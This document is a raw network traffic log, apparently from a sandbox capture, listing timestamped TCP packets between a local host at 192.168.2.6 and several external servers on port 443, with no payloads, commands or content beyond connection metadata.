Mar 12, 2025 14:07:42.352809906 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:42.353271961 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:42.353288889 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.128094912 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.128170013 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.215111971 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.217603922 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.217683077 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.217933893 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.217952013 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.218187094 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.218198061 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.632704020 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.633044958 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.633086920 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.724989891 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.726947069 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.726988077 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:46.726996899 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:46.727005959 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.338723898 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.338860035 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.342394114 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.342437029 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.342498064 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.350564003 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.350651979 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.358676910 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.358748913 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.358772039 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.358831882 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.376554966 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.376580954 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.376704931 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.376734018 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.382992983 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.383080959 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.425487041 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.425553083 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.425623894 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.425654888 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.425668955 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.429174900 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.429275990 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.436259031 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.436371088 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.440267086 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.440340042 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.440342903 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.448349953 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.448448896 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.456382036 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.456413984 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.456521988 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.464648962 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.464768887 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.464787960 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.472708941 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.472807884 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.472810984 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.480431080 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.480475903 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.481029987 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.481045008 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.481116056 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.488295078 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.488401890 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.488410950 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.495341063 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.495409966 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.495435953 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.501974106 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.502062082 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.510452986 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.510504961 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.510591030 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.512042999 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.514426947 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.514539957 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.514568090 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.523019075 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.523039103 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.523109913 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.523135900 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.523209095 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.526870012 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.527035952 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.527096033 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.533896923 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.534099102 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.539561033 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.539581060 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.539674044 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.539695978 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.543199062 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.543272018 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.543303967 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.546936989 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.547000885 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.547029972 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.547111988 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.550818920 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.550915003 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.554431915 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.554539919 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.558224916 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.558357954 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.562167883 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.562236071 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.562253952 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.565871000 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.566488028 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.569778919 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.569843054 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.573393106 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.573457956 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.573635101 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.577259064 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.577306986 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.577327967 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.581068993 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.581168890 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.584909916 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.584994078 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.585009098 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.588409901 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.588486910 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.588510036 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.588520050 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.588565111 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.592152119 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.592226028 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.592233896 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.595828056 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.595896959 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.622055054 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622092009 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622179985 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622188091 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.622227907 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622241974 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.622347116 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622390032 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.622399092 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622456074 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622530937 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.622539043 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.622598886 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.623285055 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.623358011 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.623370886 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.623423100 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.625870943 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.625921965 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.625951052 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.625961065 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.625981092 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.627515078 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.627593994 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.627600908 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.630321980 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.630404949 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.630412102 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.630528927 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.633312941 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.633388996 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.633395910 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.636462927 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.636539936 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.636547089 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.639611006 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.639693022 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.639700890 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.639775991 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.642003059 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.644418001 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.644566059 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.644577980 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.644632101 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.646790028 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.646868944 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.649029970 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.649075031 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.649084091 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.649111032 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.649117947 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.651326895 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.651498079 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.651525974 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.653522015 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.653692007 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.653745890 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.655699015 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.655752897 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.655770063 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.657864094 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.657917976 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.657953024 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.659987926 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.660067081 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.662242889 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.662307978 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.664055109 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.664119959 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.664207935 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.664372921 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.666140079 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.666157961 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.666213989 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.668050051 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.668104887 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.669986010 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.670303106 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.670317888 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.671875000 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.672374010 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.673753023 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.673825026 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.675630093 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.675704002 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.677469015 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.677556038 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.679224014 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.679294109 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.680975914 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.681008101 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.681041956 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.681061983 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.681070089 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.682852983 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.682934999 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.682945967 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.684513092 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.684582949 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.686366081 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.686461926 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.687875032 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.687938929 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.687942028 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.687963009 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.688227892 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.689630032 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.732598066 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:47.736514091 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:47.788764954 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:48.029417038 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.029443026 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.036614895 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:48.036640882 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:48.036686897 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:48.037307024 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:48.037319899 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:48.063124895 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:48.063164949 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:48.063213110 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:48.063611031 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:48.063621998 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:48.494936943 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.536865950 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.553379059 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.553383112 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.553478003 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.553495884 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.553575039 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.560125113 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.560204029 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.560230017 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.566910028 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.566972017 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.566988945 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.568196058 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.568209887 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.573694944 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.573813915 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:48.581532001 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:48.630666018 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:50.027390957 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.027753115 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.027793884 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.028887033 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.028949022 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.029901028 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.029978991 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.030206919 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.030230045 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.083688021 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.622152090 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.636915922 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.636934042 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.636950970 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.636959076 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.636965036 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.636986017 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.637013912 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.637041092 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.637063980 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.718172073 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.718198061 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.718274117 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.718301058 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.718341112 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.756381989 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.756398916 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.756503105 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.756530046 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.756570101 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.800934076 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.800997019 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.801203966 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.801234961 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.801285982 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.816951990 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.816967964 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.817044020 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.817051888 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.817094088 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.829478979 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.829583883 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.829688072 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.830085993 CET	49722	443	192.168.2.6	151.101.194.137
Mar 12, 2025 14:07:50.830101967 CET	443	49722	151.101.194.137	192.168.2.6
Mar 12, 2025 14:07:50.868655920 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:50.868694067 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:50.868763924 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:50.869339943 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:50.869354963 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:51.653116941 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:51.653250933 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:51.675015926 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:51.675040960 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:51.675213099 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:51.675218105 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:51.675369024 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:51.675374031 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:52.065376997 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:52.065659046 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:52.065692902 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:52.191128969 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:52.239686966 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:52.327260971 CET	443	49723	172.67.143.150	192.168.2.6
